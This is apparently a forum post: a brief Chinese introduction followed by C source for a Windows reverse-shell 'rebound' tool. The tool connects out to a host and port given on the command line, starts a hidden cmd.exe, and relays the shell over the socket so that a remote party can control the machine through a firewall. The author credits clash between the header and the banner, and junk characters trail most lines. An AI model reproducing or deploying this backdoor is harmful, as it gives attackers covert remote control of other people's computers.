这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 t@!A1Vr@
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/* ============================== ,:%
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Rebound port in Windows NT :
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By wind,2006/7 GjyTM
===============================*/ z[l_<`J$9
#include ^f9>tI{
#include V\=%u<f
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#pragma comment(lib,"wsock32.lib") emI F{oP
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void OutputShell(); EOXuc9>G
SOCKET sClient; [~ !9t9+~
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; W4"1H0s`l
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void main(int argc,char **argv) oF_
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{ jJAr #|
WSADATA stWsaData; CEJqo8ds
int nRet; >=/DCQ$
SOCKADDR_IN stSaiClient,stSaiServer; `l
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if(argc != 3) Kl]l[!c7$
{ \qJ cs'D
printf("Useage:\n\rRebound DestIP DestPort\n"); # blh9.V&F
return; pV*d"~T
} @ 1FWBH~
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WSAStartup(MAKEWORD(2,2),&stWsaData); [nLd> 2P
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); x LGMN)@r
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stSaiClient.sin_family = AF_INET; %'eaW
stSaiClient.sin_port = htons(0); /4$ c-k
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 1w#vy1m J
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) ekd;sEO
{ tG[v@-O
printf("Bind Socket Failed!\n"); !}q@O-}j
return; AmK g;9LS
} k#G+<7c<
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stSaiServer.sin_family = AF_INET; 5")BCA
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); vy5I#q(k
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); g{JH5IZ~
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) V o%GO9b;
{ QB*n
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printf("Connect Error!"); U["IXR#
return; j.:f=`xf
} P_(<?0l
OutputShell(); {6iHUK
} |;R-q8
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void OutputShell() jV' tcFr4
{ caZEZk#r;
char szBuff[1024]; GK&R.R]
SECURITY_ATTRIBUTES stSecurityAttributes; EGjzjuJu{
OSVERSIONINFO stOsversionInfo; .jl^"{@6
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; !'-./LD")
STARTUPINFO stStartupInfo; |sB L(9
char *szShell; -v=tM6
PROCESS_INFORMATION stProcessInformation; |T{ZDJ+
unsigned long lBytesRead; 5#::42oE
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); X
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); y2Vc[o(NP
stSecurityAttributes.lpSecurityDescriptor = 0; 0gr#<(
stSecurityAttributes.bInheritHandle = TRUE; c[EG
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ,&jjpeZP
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); BG+X8t8\
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); _#w5hXcu
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; a]4|XJ_
stStartupInfo.wShowWindow = SW_HIDE; j2 jUrl
stStartupInfo.hStdInput = hReadPipe; uKo4nXVtp
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; mWuhXY^Q
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GetVersionEx(&stOsversionInfo); t}gK)"g
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switch(stOsversionInfo.dwPlatformId) n;k
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{ I bE Nq
case 1: t_Ul;HVPS
szShell = "command.com"; M B,Z4 ^
break; [H>/N7v19*
default: ,62BZyT,T,
szShell = "cmd.exe"; 2Oy-jM
break; Rr>""
} b2YOnV
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); MsA)Y
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send(sClient,szMsg,77,0); @4jPaqa(
while(1) [bd?$qi
{ b<KKF '
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); I#|ib
if(lBytesRead) OgkbN`
{ (Jk:Qz5
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 2_){4+,fu
send(sClient,szBuff,lBytesRead,0); X($@E!|
} !}HT&N8[r
else bfA9aT
{ 2^&5D,}0
lBytesRead=recv(sClient,szBuff,1024,0); Zh_P
if(lBytesRead<=0) break; < !]7Gt
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); AI2 >{V
} VM"*@T
} 7s1LK/R|u
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return; Fprhu;h
}